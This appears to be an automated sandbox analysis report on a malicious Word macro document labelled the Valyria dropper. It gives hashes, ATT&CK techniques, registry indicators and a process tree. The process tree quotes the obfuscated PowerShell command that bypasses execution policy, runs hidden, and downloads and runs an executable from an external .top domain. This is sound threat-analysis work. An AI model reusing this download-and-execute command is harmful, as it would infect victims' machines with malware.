valyria | f92087059144bdfd22bc76d34d247564fe05f54be5c8b3c95624d792645b33f1

General

Target

0ae3f024befcb994e66993d755a5195b.doc
Size

51KB
MD5

0ae3f024befcb994e66993d755a5195b
SHA1

51a2f146b3e574b6bdafceb1e5dffe10b4b5e5b8
SHA256

f92087059144bdfd22bc76d34d247564fe05f54be5c8b3c95624d792645b33f1
SHA512

b21e0ec0ded83a33c5c2063e7e377957dad47c14afb792541a2414b9e3e610a48a9a2ece0d3816e8cd83a42969500249d5ec5d89d68e58d6f90d55678db85a86

Score

10^/10

valyria dropper

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.nnapoakea.top/read.php?f=0.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2864	4136	CMD.Exe	81

Valyria
Malicious Word document which is a loader for other malware.
dropper valyria

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4136	WINWORD.EXE
4136	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1236	powershell.exe
1236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1236	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE
4136	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 2864	4136	WINWORD.EXE	86
PID 4136 wrote to memory of 2864	4136	WINWORD.EXE	86
PID 2864 wrote to memory of 1236	2864	CMD.Exe	88
PID 2864 wrote to memory of 1236	2864	CMD.Exe	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0ae3f024befcb994e66993d755a5195b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\SYSTEM32\CMD.Exe
  CMD.Exe /C "POwERs^h^E^L^l.e^xe -EXeC^U^T^I^onpolicY^ ^B^YPa^ss^ ^-nO^PR^OfIlE ^-Wind^ow^StylE Hidd^e^N ^(ne^w-o^bj^ECT sYSTEM.NeT^.We^B^c^L^ie^nt).d^o^W^NlOAdfiLe('http://www.nnapoakea.top/read.php?f=0.dat','%APPdAta%.exe');^St^a^R^T-Pr^oCE^s^s^ '%ApPDaTA%.EXE'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POwERshELl.exe -EXeCUTIonpolicY BYPass -nOPROfIlE -WindowStylE HiddeN (new-objECT sYSTEM.NeT.WeBcLient).doWNlOAdfiLe('http://www.nnapoakea.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.exe');StaRT-ProCEss 'C:\Users\Admin\AppData\Roaming.EXE'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1236-131-0x000002BDA4BE0000-0x000002BDA4C02000-memory.dmp

Filesize
136KB

Download
memory/1236-135-0x000002BDA4BD6000-0x000002BDA4BD8000-memory.dmp

Filesize
8KB

Download
memory/1236-134-0x000002BDA4BD3000-0x000002BDA4BD5000-memory.dmp

Filesize
8KB

Download
memory/1236-133-0x000002BDA4BD0000-0x000002BDA4BD2000-memory.dmp

Filesize
8KB

Download
memory/1236-132-0x00007FF82DE60000-0x00007FF82E921000-memory.dmp

Filesize
10.8MB

Download
memory/4136-128-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-124-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-127-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-126-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-125-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-136-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-137-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-138-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download
memory/4136-139-0x00007FF819CD0000-0x00007FF819CE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads